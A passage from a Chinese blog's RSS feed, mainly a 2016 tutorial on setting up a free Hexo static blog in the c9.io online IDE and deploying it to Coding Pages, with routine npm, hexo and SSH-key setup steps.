class="line">&lt;/script&gt;</span><br><span class="line">&lt;% } %&gt;</span><br></pre></td></tr></tbody></table></figure><p>上面的代码包括了腾讯分析了。在 <code>layout/_partial/</code> 中修改 <code>head.ejs</code>：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 随便找一行添加如下代码，让用户在打开网页时加载腾讯分析。</span><br><span class="line">&lt;%- partial('tencent-analytics') %&gt;</span><br></pre></td></tr></tbody></table></figure><p>然后在主题的 <code>_config.yml</code> 中输入你的腾讯分析 id。执行</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hexo clean</span><br><span class="line">hexo g -d</span><br></pre></td></tr></tbody></table></figure><p>就 ok 了。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>使用在线 ide 和 pages 服务搭建一个免费的 Hexo 博客</title>
      <link>https://cat.ms/posts/use-hexo-with-webide/</link>
      <description>
        <![CDATA[<p>一直有着想写一点东西的想法，想有个自己的博客。但是现在国内的知名博客服务（特指 CSXN）好多广告 = =，最后在知乎发现了 Hexo 这么个东西。自己就能搭建一个国内访问快无广告自定义颇多的炫酷博客。</p>
<ul>
<li><a href="https://hexo.io/"><code>Hexo</code></a> 是一个用 nodejs 编写的静态博客框架，可以将生成的静态博客网页托管在服务器上。</li>
<li>国外的 <a href="https://github.com/"><code>github.com</code></a> 和国内的 <a href="https://coding.net/"><code>coding.net</code></a> 都提供免费的静态网页托管服务。</li>
<li><s><a href="https://c9.io/"><code>c9.io</code></a>提供免费的在线 webide 服务</s></li>
<li>好难过，评论说现在<strong>注册 c9 要绑定信用卡</strong>了，这是真的这不是梦。</li>
<li>c9 现在被亚马逊收购了，可以在自己的 ec2 实例上免费使用。</li>
</ul>
<p>优点:</p>
<ol>
<li>有网络就可以更新博客，只需要一个浏览器。</li>
<li>源文件在云端，可下载回本地。</li>
<li>可实时预览 markdown 文件。</li>
<li>完善的 linux 终端, 有 root 权限。</li>
</ol>
<p>我在 c9 的 workspace：<a href="https://ide.c9.io/lengthmin/hexo/">https://ide.c9.io/lengthmin/hexo/</a></p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Hexo/">Hexo</category>
      <category domain="https://cat.ms/tags/Hexo/">Hexo</category>
      <category domain="https://cat.ms/tags/c9-io/">c9.io</category>
      <category domain="https://cat.ms/tags/webide/">webide</category>
      <pubDate>Sat, 21 May 2016 08:03:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>一直有着想写一点东西的想法，想有个自己的博客。但是现在国内的知名博客服务（特指 CSXN）好多广告 = =，最后在知乎发现了 Hexo 这么个东西。自己就能搭建一个国内访问快无广告自定义颇多的炫酷博客。</p><ul><li><a href="https://hexo.io/"><code>Hexo</code></a> 是一个用 nodejs 编写的静态博客框架，可以将生成的静态博客网页托管在服务器上。</li><li>国外的 <a href="https://github.com/"><code>github.com</code></a> 和国内的 <a href="https://coding.net/"><code>coding.net</code></a> 都提供免费的静态网页托管服务。</li><li><s><a href="https://c9.io/"><code>c9.io</code></a>提供免费的在线 webide 服务</s></li><li>好难过，评论说现在<strong>注册 c9 要绑定信用卡</strong>了，这是真的这不是梦。</li><li>c9 现在被亚马逊收购了，可以在自己的 ec2 实例上免费使用。</li></ul><p>优点:</p><ol><li>有网络就可以更新博客，只需要一个浏览器。</li><li>源文件在云端，可下载回本地。</li><li>可实时预览 markdown 文件。</li><li>完善的 linux 终端, 有 root 权限。</li></ol><p>我在 c9 的 workspace：<a href="https://ide.c9.io/lengthmin/hexo/">https://ide.c9.io/lengthmin/hexo/</a></p><span id="more"></span><hr><h2 id="安装">安装<a class="header-anchor" href="#安装"></a></h2><h3 id="关于-Hexo">关于 Hexo<a class="header-anchor" href="#关于-Hexo"></a></h3><p>官网： <a href="https://hexo.io/zh-cn/">https://hexo.io/zh-cn/</a></p><ul><li>A fast, simple &amp; powerful blog framework</li><li>快速、简洁且高效的博客框架</li></ul><p>作者：<a href="https://zespia.tw/">Tommy Chen</a></p><h3 id="准备准备">准备准备<a class="header-anchor" href="#准备准备"></a></h3><ul><li>注册 <a href="https://coding.net/">coding.net</a> ｜ <a href="https://c9.io/">c9.io</a> <br><strong> 注意：c9 没有被墙，但是注册的时候需要输入验证码，验证码使用的是 Google 的 reCAPTCHA 服务。因此注册的时候需要科学上网。</strong></li></ul><p>在你的 c9 控制台界面，创建一个 workspace，名字 hexo (自己喜欢就好)选择模板为 blank<img data-src="https://i.cat.ms/posts/use-hexo-with-webide/58944002.jpg" alt="58944002.jpg">c9 的控制台是 ubuntu 系统，并且已经装了我们搭建 Hexo 需要的 <code>nodejs</code> 跟 <code>git</code>。<br></p><hr><h3 id="开始安装">开始安装<a class="header-anchor" href="#开始安装"></a></h3><p>打开 workspace, 在终端中输入</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-cli -g</span><br></pre></td></tr></tbody></table></figure><p><img data-src="https://i.cat.ms/posts/use-hexo-with-webide/25005751.jpg" alt="25005751.jpg">等待安装成功<br>创建一个 blog 文件夹，</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> blog</span><br></pre></td></tr></tbody></table></figure><p>安装 Hexo</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> blog</span><br><span class="line">hexo init</span><br></pre></td></tr></tbody></table></figure><p>这样 Hexo 就安装完成了，我们先预览一下</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexo s -p 8081</span><br></pre></td></tr></tbody></table></figure><blockquote><ul><li>先按照我这么输命令，因为 c9 只允许使用 8080，8081，8082 三个端口，而 Hexo 默认的端口是 4000，所以如果只使用<code>hexo s</code>的话就预览不了。后面讲命令的时候会再提一下。</li></ul></blockquote><p><img data-src="https://i.cat.ms/posts/use-hexo-with-webide/60800577.jpg" alt="60800577.jpg"></p><p>点击终端出现的地址，出现如下图的话就说明安装好了。<img data-src="https://i.cat.ms/posts/use-hexo-with-webide/45253572.jpg" alt="45253572.jpg"></p><blockquote><p>调教 hexo 请参见<a href="https://ibruce.info/2013/11/22/hexo-your-blog/">《hexo 你的博客》</a>在这推荐两个主题： <a href="https://moxfive.coding.me/yelee/">yelee</a> 跟 <a href="https://theme-next.iissnan.com/">next</a></p></blockquote><hr><h3 id="hexo-的常用命令">hexo 的常用命令<a class="header-anchor" href="#hexo-的常用命令"></a></h3><p>到这里，已经可以使用 Hexo 了hexo 的常用命令有这些，都要在 Hexo 的根目录下执行</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">hexo g</span><br><span class="line"><span class="comment"># 编译生成静态文件</span></span><br><span class="line">hexo d</span><br><span class="line"><span class="comment"># 部署博客</span></span><br><span class="line">hexo g -d</span><br><span class="line"><span class="comment"># g 跟 d 一起使用</span></span><br><span class="line">hexo clean</span><br><span class="line"><span class="comment"># 清除以前生成的静态文件。</span></span><br><span class="line"><span class="comment"># 通常，清理一下可以解决大多数问题。</span></span><br><span class="line">hexo s</span><br><span class="line"><span class="comment"># 本地预览博客</span></span><br><span class="line">hexo new xxx</span><br><span class="line"><span class="comment"># 新建一篇标题为xxx的文章</span></span><br><span class="line">hexo new draft xxx</span><br><span class="line"><span class="comment"># 新建一篇标题为xxx的草稿</span></span><br><span class="line">hexo new page xxx</span><br><span class="line"><span class="comment"># 新建一个页面</span></span><br><span class="line">hexo <span class="built_in">help</span></span><br><span class="line"><span class="comment">#查看帮助</span></span><br></pre></td></tr></tbody></table></figure><h4 id="在-c9-使用hexo-s时注意事项">在 c9 使用<code>hexo s</code>时注意事项<a class="header-anchor" href="#在-c9-使用hexo-s时注意事项"></a></h4><p>c9 只允许用户使用<strong> 8080、8081、8082</strong> 三个端口。并且 8080 端口已被占用,所以使用默认的<code>hexo server</code>是预览不了的，因为你进不去 4000 这个端口。要把<code>hexo server</code>的命令改成</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hexo server -p 端口号</span><br><span class="line"><span class="comment"># 可简写</span></span><br><span class="line">hexo s -p 端口号</span><br></pre></td></tr></tbody></table></figure><p>也可以在站点配置文件<code>_config.yml</code>加入:</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8081</span></span><br></pre></td></tr></tbody></table></figure><p>以后只要使用<code>hexo s</code>就可以了。</p><hr><h2 id="部署博客">部署博客<a class="header-anchor" href="#部署博客"></a></h2><h3 id="配置-SSH">配置 SSH<a class="header-anchor" href="#配置-SSH"></a></h3><p>coding 的中文 ssh 配置帮助页面<a href="https://coding.net/help/doc/git/ssh-key.html">https://coding.net/help/doc/git/ssh-key.html</a>c9 已经默认生成了 ssh 密钥，ssh 密钥在 ~/.ssh/id_rsa.pub <br>把这个密钥添加到 coding 就好了。</p><ul><li>点击文件目录右上角的齿轮 - show home in favorite ，就能查看根目录了。<br></li></ul><hr><h3 id="配置-Deploy">配置 Deploy<a class="header-anchor" href="#配置-Deploy"></a></h3><p>在 coding 中创建一个仓库名字为你的 coding 用户名，不区分大小写。创建完仓库后，复制你的 SSH 地址<img data-src="https://i.cat.ms/posts/use-hexo-with-webide/31815771.jpg" alt="31815771.jpg">在 hexo 根目录下的 <code>_config.yml</code>中翻到尾部找到下面这串代码。然后<strong>修改 coding 后面的地址为你的仓库的 ssh 地址，这里的 master 是分支的意思。</strong>。<br></p><blockquote><p>一定要注意改成你自己的 ssh 地址，注意是 ssh 地址。而且<code>coding:</code>后面是有个空格的，这就是 yaml 语言的格式，以后编辑<code>_config.yml</code>也要注意的。</p></blockquote><figure class="highlight yml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">deploy:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">git</span></span><br><span class="line">  <span class="attr">repo:</span></span><br><span class="line">    <span class="attr">coding:</span> <span class="string">git@git.coding.net:Artin/Artin.git,master</span></span><br></pre></td></tr></tbody></table></figure><hr><h3 id="部署到-Coding-Pages-上">部署到 Coding Pages 上<a class="header-anchor" href="#部署到-Coding-Pages-上"></a></h3><p>这是 Coding 关于 Pages 的介绍。</p><blockquote><p><a href="https://coding.net/help/doc/pages/index.html">https://coding.net/help/doc/pages/index.html</a></p></blockquote><p>首先要安装 git 的插件:<br>在终端输入</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-deployer-git --save</span><br></pre></td></tr></tbody></table></figure><p>等待安装完成。</p><p>然后输入命令：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hexo clean</span><br><span class="line">hexo g -d</span><br></pre></td></tr></tbody></table></figure><p><strong>每一次更新博客，都要重新部署。</strong></p><h2 id="一些-Tips">一些 Tips<a class="header-anchor" href="#一些-Tips"></a></h2><h3 id="修改终端时区">修改终端时区<a class="header-anchor" href="#修改终端时区"></a></h3><p>c9 终端的默认时区是 UTC，和中国相差了 8 个时区。终端输入:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> dpkg-reconfigure tzdata</span><br></pre></td></tr></tbody></table></figure><p>然后进入图形交互界面，选择<code>Asia/Shanghai</code>时区就行了出现下面的提示即为成功</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Current default <span class="keyword">time</span> zone: <span class="string">'Asia/Shanghai'</span></span><br><span class="line"></span><br><span class="line">Local <span class="keyword">time</span> is now:      Sat Aug  6 20:13:22 CST 2016.</span><br><span class="line">Universal Time is now:  Sat Aug  6 12:13:22 UTC 2016.</span><br></pre></td></tr></tbody></table></figure><h3 id="开启-c9-的-markdown-实时预览">开启 c9 的 markdown 实时预览<a class="header-anchor" href="#开启-c9-的-markdown-实时预览"></a></h3><p>写 markdown 时点击工具栏的 <code>Preview</code>，选择第一个 <code>Live Prebiew file</code>。然后屏幕就会变成双栏，左边码 markdown，右边可实时预览。</p>]]>
      </content:encoded>
    </item>
  </channel>
</rss>
